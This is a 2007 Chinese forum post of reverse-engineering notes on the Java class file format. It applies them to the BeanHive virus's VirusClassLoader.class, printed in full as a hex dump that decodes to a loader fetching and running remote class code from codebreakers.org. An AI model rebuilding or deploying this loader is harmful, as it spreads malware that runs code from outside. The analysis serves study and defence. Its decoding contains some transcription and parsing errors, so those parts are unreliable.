CONSTANT_Class                              -- 7 
CONSTANT_Fieldref                           -- 9 
CONSTANT_Methodref                          -- 10
CONSTANT_InterfaceMethodref                 -- 11
CONSTANT_String                             -- 8 
CONSTANT_Integer                            -- 3 
CONSTANT_Float                              -- 4 
CONSTANT_Long                               -- 5 
CONSTANT_Double                             -- 6 
CONSTANT_NameAndType                        -- 12
CONSTANT_Utf8                               -- 1 

此时cp_info分别对应结构变化为:
1. CONSTANT_Class
   CONSTANT_Class_info{
     u1 tag                              -- 7
  u2 name_index
   }

2. CONSTANT_Fieldref
   CONSTANT_Fieldref_info{
  u1 tag                             -- 9
  u2 class_index
  u2 name_and_type_index
   }

3. CONSTANT_Methodref
   CONSTANT_Methodref_info {
        u1 tag;                            -- 10
        u2 class_index;
        u2 name_and_type_index;
    }

4. CONSTANT_InterfaceMethodref
   CONSTANT_InterfaceMethodref_info {
        u1 tag;                            -- 11
        u2 class_index;
        u2 name_and_type_index;
   }

5. CONSTANT_String
   CONSTANT_String_info {
        u1 tag;                            -- 8
        u2 string_index;
   }

6. CONSTANT_Integer
   CONSTANT_Integer_info {
        u1 tag;                            -- 3
        u4 bytes;
   }

7. CONSTANT_Float
   CONSTANT_Float_info {
        u1 tag;                            -- 4
        u4 bytes;
   }

8. CONSTANT_Long
   CONSTANT_Long_info {
        u1 tag;                            -- 5
        u4 high_bytes;
        u4 low_bytes;
   }

9. CONSTANT_Double
   CONSTANT_Double_info {
        u1 tag;                            -- 6
        u4 high_bytes;
        u4 low_bytes
   }

10.CONSTANT_NameAndType
   CONSTANT_NameAndType_info {
        u1 tag;                           -- 12
        u2 name_index;
        u2 descriptor_index;
  }

11.CONSTANT_Utf8
   CONSTANT_Utf8_info {
   u1 tag;                          -- 1
         u2 length;
         u1 bytes[length];
   }

定义:    u1    1个字节为单位的非负值
         u2    2个字节为单位的非负值
         u3    . . . . . . . .  (其他以此类推 )

解析a98b34f2作用:

1. 位置
a98b34f2出现的类文件:
e 中,e并将a作为参数传到b c d 中。

2. 类中方法作用

   构造方法           传入的RandomAccessFile file对象构建一个对象。
   seek()             找到a.fpointer位置,fpointer开始时是0,当被操作后就!=0了,那么也就不会定位到文件开始处了。
   seek(int offset)   指针定位到offset的位置。fpointer的值转换为offset。
   update(int offset) 指针由原来的位置向右推移offset位。这么fpointer的值也增加了。
methods 指明了类中的所有的方法。

Method_info{
  u2 access_flags
  u2 name_index   //指向constant_pool的入口,对应为CONSTANT_Utf8_info
  u2 descriptor_index  //指向constant_pool的入口,对应为Co
  u2 attribute_count
  attribute_info attribute[attribute_count]
  //此处只能出现Code,Exception,Synthetic,Deprecated四中类型的属性
}

  access_flags访问权限描述如下:

  ACC_PUBLIC                   0x0001             -------    1
  ACC_PRIVATE                  0x0002             -------    2
  ACC_PROTECTED                0x0004             -------    4
  ACC_STATIC                   0x0008             -------    8
  ACC_FINAL                    0x0010             -------   10
  ACC_SYNCHRONIZED             0x0020             -------   32
  ACC_NATIVE                   0x0100             -------  256
  ACC_ABSTRACT                 0x0400             ------- 1024
  ACC_STRICT                   0x0800             ------- 2048

显然以上的没用了。
对于类文件 d 的分析。。。。。。。。。

变量:

virus_code_length                   ---
virus_method[]                      ---
virus_e_table_length                ---
old_code[]                          ---

dc98e742的分析:
变量:

virus_code_length             追踪
virus_method                  
virus_e_table_length
old_code

方法:insert(int temp_m_count_pointer, int temp_m_count, int temp_m_pointer,
       int delta_offset, RandomAccessFile temp, a98b34f2 ptr)

方法参数:

temp_m_count_pointer
temp_m_count
temp_m_pointer
delta_offset
temp
ptr

temp和ptr之间的关系
ptr是在temp的基础上创建。
temp: 程序的temp在Read 4位时,按照RandomAccessFile的规范temp的指针进乎?
####//////////////////////////#####

readUnsignedShort
public final int readUnsignedShort()
                            throws IOException从此文件读取一个无符号的 16 位数。此方法从该文件的当前文件指针开始读取两个字节。如果按顺序读取的字节为 b1 和 b2,其中 0 <= b1, b2 <= 255,则结果将等于: 
(b1 << 8) | b2
 在读取了这两个字节、检测到流的末尾或者抛出异常前,此方法一直阻塞。 

指定者:
接口 DataInput 中的 readUnsignedShort
返回:
此文件的下两个字节,解释为一个无符号的 16 位整数。 

####/////////////////////////#####
以上面的为例,这个方法说明了要读取16位也就是2个8 bits,但是没有说明要进位,所以它的下标不会向左或向右推进。
而ptr正是为了解决这个问题的。主要负责定位,将temp的下标定位到,将要被读取的字符的前一位。

对b的分析:
我的天哪,呵呵。那个contants_pool的count为94,我是说在VirusClassLoader.class中。但是在那里又怎么是95呢?
他是不是多了个什么信息?
很有可能。那是什么呢?寻找一下这VirusClassLoader.class中的信息。
进行分析一下。

CA FE BA BE 00 00 00 31 00 5E 08 00 27 08 00 28 
0A 00 1D 00 29 07 00 2A 07 00 2B 07 00 2C 0A 00 
06 00 2D 0A 00 06 00 2E 08 00 2F 0A 00 06 00 30 
0A 00 05 00 31 0A 00 05 00 32 0A 00 33 00 34 0A 
00 33 00 35 0A 00 36 00 37 0A 00 36 00 38 07 00 
39 0A 00 04 00 2D 0A 00 1C 00 3A 07 00 3B 0A 00 
14 00 2D 0A 00 1C 00 3C 0A 00 3D 00 3E 07 00 3F 
0B 00 18 00 40 0A 00 1D 00 2D 0A 00 1C 00 41 07 
00 42 07 00 43 01 00 09 6C 6F 61 64 43 6C 61 73 
73 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 
53 74 72 69 6E 67 3B 5A 29 4C 6A 61 76 61 2F 6C 
61 6E 67 2F 43 6C 61 73 73 3B 01 00 04 43 6F 64 
65 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 
62 6C 65 01 00 0A 45 78 63 65 70 74 69 6F 6E 73 
01 00 06 3C 69 6E 69 74 3E 01 00 03 28 29 56 01 
00 0A 53 6F 75 72 63 65 46 69 6C 65 01 00 15 56 
69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E 
6A 61 76 61 01 00 1C 68 74 74 70 3A 2F 2F 77 77 
77 2E 63 6F 64 65 62 72 65 61 6B 65 72 73 2E 6F 
72 67 2F 01 00 08 42 65 61 6E 48 69 76 65 0C 00 
44 00 45 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F 
43 6C 61 73 73 4E 6F 74 46 6F 75 6E 64 45 78 63 
65 70 74 69 6F 6E 01 00 0C 6A 61 76 61 2F 6E 65 
74 2F 55 52 4C 01 00 17 6A 61 76 61 2F 6C 61 6E 
67 2F 53 74 72 69 6E 67 42 75 69 6C 64 65 72 0C 
00 23 00 24 0C 00 46 00 47 01 00 06 2E 63 6C 61 
73 73 0C 00 48 00 49 0C 00 23 00 4A 0C 00 4B 00 
4C 07 00 4D 0C 00 4E 00 4F 0C 00 50 00 51 07 00 
52 0C 00 53 00 54 0C 00 55 00 24 01 00 13 6A 61 
76 61 2F 6C 61 6E 67 2F 45 78 63 65 70 74 69 6F 
6E 0C 00 56 00 57 01 00 1A 6A 61 76 61 2F 6C 61 
6E 67 2F 43 6C 61 73 73 46 6F 72 6D 61 74 45 72 
72 6F 72 0C 00 58 00 59 07 00 5A 0C 00 5B 00 5C 
01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E 
6E 61 62 6C 65 0C 00 5D 00 24 0C 00 1E 00 45 01 
00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 
65 72 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43 
6C 61 73 73 4C 6F 61 64 65 72 01 00 0F 66 69 6E 
64 53 79 73 74 65 6D 43 6C 61 73 73 01 00 25 28 
4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 
67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 
61 73 73 3B 01 00 06 61 70 70 65 6E 64 01 00 2D 
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 
6E 67 3B 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 
74 72 69 6E 67 42 75 69 6C 64 65 72 3B 01 00 08 
74 6F 53 74 72 69 6E 67 01 00 14 28 29 4C 6A 61 
76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 01 
00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 
72 69 6E 67 3B 29 56 01 00 0E 6F 70 65 6E 43 6F 
6E 62 65 63 74 69 6F 6E 01 00 1A 28 29 4C 6A 61 
76 61 2F 6E 65 74 2F 55 52 4C 43 6F 6E 6E 65 63 
74 69 6F 6E 3B 01 00 16 6A 61 76 61 2F 6E 65 74 
2F 55 52 4C 43 6F 6E 6E 65 63 74 69 6F 6E 01 00 
0E 67 65 74 49 6E 70 75 74 53 74 72 65 61 6D 01 
00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49 6E 70 
75 74 53 74 72 65 61 6D 3B 01 00 10 67 65 74 43 
6F 6E 74 65 6E 74 4C 65 6E 67 74 68 01 00 03 28 
29 49 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70 
75 74 53 74 72 65 61 6D 01 00 04 72 65 61 64 01 
00 05 28 5B 42 29 49 01 00 05 63 6C 6F 73 65 01 
00 0B 64 65 66 69 6E 65 43 6C 61 73 73 01 00 29 
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 
6E 67 3B 5B 42 49 49 29 4C 6A 61 76 61 2F 6C 61 
6E 67 2F 43 6C 61 73 73 3B 01 00 0C 72 65 73 6F 
6C 76 65 43 6C 61 73 73 01 00 14 28 4C 6A 61 76 
61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B 29 56 01 
00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 
73 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65 01 
00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F 
62 6A 65 63 74 3B 01 00 03 72 75 6E 00 21 00 1C 
00 1D 00 00 00 00 00 02 00 21 00 1E 00 1F 00 02 
00 20 00 00 01 3E 00 05 00 0B 00 00 00 AE 01 3A 
04 12 01 3A 05 12 02 3A 06 2A 2B B7 00 03 4E 2D 
B0 3A 07 BB 00 05 59 BB 00 06 59 B7 00 07 19 05 
B6 00 08 2B B6 00 08 12 09 B6 00 08 B6 00 0A B7 
00 0B 3A 07 19 07 B6 00 0C 3A 08 19 08 B6 00 0D 
3A 09 19 08 B6 00 0E 36 0A 15 0A BC 08 3A 04 19 
09 19 04 B6 00 0F 57 19 09 B6 00 10 A7 00 05 3A 
07 19 04 C7 00 0B BB 00 04 59 B7 00 12 BF 2A 2B 
19 04 03 19 04 BE B6 00 13 4E 2D C7 00 0B BB 00 
14 59 B7 00 15 BF 1C 99 00 08 2A 2D B6 00 16 2B 
19 06 A6 00 18 2D B6 00 17 C0 00 18 3A 07 19 07 
B9 00 19 01 00 A7 00 05 3A 07 2D B0 00 03 00 0B 
00 12 00 13 00 04 00 15 00 5E 00 61 00 11 00 97 
00 A7 00 AA 00 11 00 01 00 21 00 00 00 66 00 19 
00 00 00 0C 00 03 00 0D 00 07 00 0E 00 0B 00 12 
00 11 00 13 00 13 00 14 00 15 00 18 00 36 00 19 
00 3D 00 1B 00 44 00 1C 00 4B 00 1E 00 51 00 1F 
00 59 00 20 00 5E 00 22 00 63 00 24 00 68 00 25 
00 70 00 29 00 7C 00 2A 00 80 00 2B 00 88 00 2F 
00 91 00 31 00 97 00 35 00 A0 00 36 00 A7 00 37 
00 AC 00 3C 00 22 00 00 00 04 00 01 00 04 00 01 
00 23 00 24 00 02 00 20 00 00 00 2C 00 02 00 01 
00 00 00 0C 2A B7 00 1A 2A 12 02 B6 00 1B 57 B1 
00 00 00 01 00 21 00 00 00 0E 00 03 00 00 00 40 
00 04 00 42 00 0B 00 44 00 22 00 00 00 04 00 01 
00 04 00 01 00 25 00 00 00 02 00 26 

对以上的数字进行分析:
(,)
(10,01)= 5e 是constant_pool_count 转化为十进制数字为94。那么就是说cp_count是94,那么这个数字类文件的数量就是93了。就是有93个是有效的了。
那就是到那个(07,07)这对不对呢?显然不对的。
那应该是什么呢?
应该是把这些给转化一下的。
001> 08 00 27                  |    08 代表这个是字符串, 00 27 在cp中的index
002> 08 00 28                  |
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_String          |
|          CONSTANT_String_info {      |
|                    u1 tag;        |
|                    u2 string_index;        |
|            }            |
|||||||||||||||||||||||||||||||||||||||||||||||||||

003> 0A 00 1D 00 29            |    10 代表这个是Methodref  $ 1D-29 29-41
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Methodref          |
|           CONSTANT_Methodref_info {      |
|                    u1 tag;        |
|                    u2 class_index;      |
|                    u2 name_and_type_index;    |
|           }            |
|||||||||||||||||||||||||||||||||||||||||||||||||||

004> 07 00 2A                  |
|||||||||||||||||||||||||||||||||||||||||||||||||||
| CONSTANT_Class          |
|        CONSTANT_Class_info {        |
|               u1 tag;          |
|               u2 name_index;        |
|       }            |
|||||||||||||||||||||||||||||||||||||||||||||||||||
005> 07 00 2b
006> 07 00 2c 
007> 0A 00 06 00 2D
008> 0A 00 06 00 2E 
009> 08 00 2F
010> 0A 00 06 00 30
011> 0A 00 05 00 31
012> 0A 00 05 00 32
013> 0A 00 33 00 34
014> 0A 00 33 00 35
015> 0A 00 36 00 37
016> 0A 00 36 00 38
017> 07 00 39
018> 0A 00 04 00 2D
019> 0A 00 1C 00 3A
020> 07 00 3B
021> 0A 00 14 00 2D
022> 0A 00 1c 00 3C
023> 0A 00 3D 00 3E
024> 07 00 3F
025> 0B 00 18 00 40    0B-11 InterfaceMethodref    (05,08)
|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_InterfaceMethodref          |
|           CONSTANT_InterfaceMethodref_info {      |
|                    u1 tag;          |
|                    u2 class_index;         |
|                    u2 name_and_type_index;       |
|           }              |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
026> 0A 00 1D 00 2D
027> 0A 00 1C 00 41
028> 07 00 42
029> 07 00 43
030> 01 00 09 6C 6F 61 64 43 6C 61 73 73     (01,10)   Utf8

|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Utf8              |
|           CONSTANT_Utf8_info {        |
|                   u1 tag;          |
|                   u2 length;          |
|                   u1 bytes[length];        |
|           }              |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
031> 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B 
           5A 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B   (10,12)
                                       $   26-38
数字代表的字符串内容是:(Ljava/lang/String;Z)Ljava/lang/Class;
032> 01 00 04 43 6F 64 65
Code

033> 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65
LineNumberTable

034> 01 00 0A 45 78 63 65 70 74 69 6F 6E 73             (16,14)
Exceptions

035> 01 00 06 3C 69 6F 69 74 3E
<init>

036> 01 00 03 28 29 56                                  (15,15)
()V

037> 01 00 0A 53 6F 75 72 63 65 46 69 6C 65             (12,16)
SourceFile

038> 01 00 15 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E 6A 61 76 61 
                                                   (04,18)
VirusClassLoader.java

039> 01 00 1C 68 74 74 70 3A 2F 2F 77 77 77 2E 63 6F 64 
      65 62 72 65 61 6B 65 72 73 2E 6F 72 67 2F    (03,20)
http://www.codebreakers.org/

040> 01 00 08 42 65 61 6E 48 69 76 65               
BeanHive                                           (14,20)

041> 0C 00 44 00 45                                     (03,21)
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|  CONSTANT_NameAndType            |
|           CONSTANT_NameAndType_info {         |
|                   u1 tag;                |
|                   u2 name_index;          |
|                   u2 descriptor_index;        |
|           }                |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
    我 是 个 天 才 ! 

042> 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 
     73 73 4E 6F 74 46 6F 75 6E 64 45 78 63 
     65 70 74 69 6F 6E                      (06,23)
java/lang/ClassNotFoundException

043> 01 00 0C 6A 61 76 61 2F 6E 65 74 2F 55 52 4C    (05,24)
java/net/URL

044> 01 00 17 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 
   72 69 6E 67 42 75 69 6C 64 65 72       (15,25)
java/lang/StringBuilder
045> 0C 00 23 00 24
046> 0C 00 46 00 47
047> 01 00 06 2E 63 61 73 73                         (02,27)
048> 0C 00 48 00 49
049> 0C 00 23 00 4A
050> 0C 00 4B 00 4C
051> 07 00 4D                                        (04,28)
052> 0C (u4)            (09,28)
053> 0C (u4)            (14,28)
054> 07 (u2)            (01,29)
055> 0C (u4)            (06,29)
056> 0C (u4)            (11,29)
057> 01 (u2 u19)          (01,31)
058> 0C (u4)            (06,31)
059> 01 (u2 u26)          (03,33)
060> 0C (u4)            (08,33)
061> 07 00 5A 
062> 0C 00 5B 00 5C 
063> 01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E 6E 61 62 6C 65
064> 0C 00 5D 00 24 
065> 0C 00 1E 00 45 
066> 01 00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 
067> 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 4C 6F 61 64 65 72 
068> 01 00 0F 66 69 6E 64 53 79 73 74 65 6D 43 6C 61 73 73 
069> 01 00 25 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 
     74 72 69 6E 67 3B 29 4C 6A 61 76 61 2F 
     6C 61 6E 67 2F 43 6C 61 73 73 3B 
070> 01 00 06 61 70 70 65 6E 64 
071> 01 00 2D 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 
     53 74 72 69 6E 67 3B 29 4C 6A 61 76 
     61 2F 6C 61 6E 67 2F 53 74 72 69 6E 
     67 42 75 69 6C 64 65 72 3B 
072> 01 00 08 74 6F 53 74 72 69 6E 67 
073> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67
         2F 53 74 72 69 6E 67 3B 
074> 01 00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 
     53 74 72 69 6E 67 3B 29 56 
075> 01 00 0E 6F 70 65 6E 43 6F 6E 62 65 63 74 69
     6F 6E 
076> 01 00 1A 28 29 4C 6A 61 76 61 2F 6E 65 74 2F
     55 52 4C 43 6F 6E 6E 65 63 74 69 6F
     6E 3B 
077> 01 00 16 6A 61 76 61 2F 6E 65 74 2F 55 52 4C
     43 6F 6E 6E 65 63 74 69 6F 6E 
078> 01 00 0E 67 65 74 49 6E 70 75 74 53 74 72 65
     61 6D 
079> 01 00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49
     6E 70 75 74 53 74 72 65 61 6D 3B
080> 01 00 10 67 65 74 43 6F 6E 74 65 6E 74 4C 65
     6E 67 74 68 
081> 01 00 03 28 29 49 
082> 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70 75
     74 53 74 72 65 61 6D 
083> 01 00 04 72 65 61 64 
084> 01 00 05 28 5B 42 29 49 
085> 01 00 05 63 6C 6F 73 65
086> 01 00 0B 64 65 66 69 6E 65 43 6C 61 73 73 
087> 01 00 29 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
     53 74 72 69 6E 67 3B 5B 42 49 49 29
     4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
     6C 61 73 73 3B 
088> 01 00 0C 72 65 73 6F 6C 76 65 43 6C 61 73 73 
089> 01 00 14 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
     6C 61 73 73 3B 29 56 
090> 01 00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C
     61 73 73 
091> 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65 
092> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F 
     62 6A 65 63 74 3B 
093> 01 00 03 72 75 6E 
<Constant_Pool is over!>
<access_flags>
00 21 
means: super & public 
|||||||||||||||||||||||||||||||||||||||||||||||||
|    access_flags意义如下:      |
|             |
|       ACC_PUBLIC     0x0001      |
|       ACC_FINAL      0x0010      |
|       ACC_SUPER      0x0020      |
|       ACC_INTERFACE  0x0200      |
|       ACC_ABSTRACT   0x0400      |
|||||||||||||||||||||||||||||||||||||||||||||||||

<this_class>
00 1C 
<super_class>
00 1D
<interfaces_count> 
00 00 
<interfaces_info>
00 00
<fields_count> u2
00 02 两个
<field_info[]>

|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| field_info {                      |
|           u2 access_flags;   //访问控制权              |
|           u2 name_index;     //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。    |
|           u2 descriptor_index; //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。  |
|           u2 attributes_count;                |
|           attribute_info attributes[attributes_count]; //attribute_info将在mothods后描述。  |
|   }                        |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||

|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|              |
|       field_info中access_flages意义如下:    |
|              |
|          ACC_PUBLIC     0x0001      |
|          ACC_PRIVATE    0x0002      |
|          ACC_PROTECTED  0x0004      |
|          ACC_STATIC     0x0008      |
|          ACC_FINAL      0x0010      |
|          ACC_VOLATILE   0x0040      |
|          ACC_TRANSIENT  0x0080      |
|              |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||

第一个域:
00 21   (access_flags) 
00 1E   (name_index)
00 1F   (descripttor_index)
00 02   (attribute_count)
第一域中的第一个属性:
00 20   (attribute_name_index)
00 00 01 3E (attribute_length)       01 3E -- 318
..........................
2007-5-9 16:57
0
游客
登录 | 注册 方可回帖
返回
//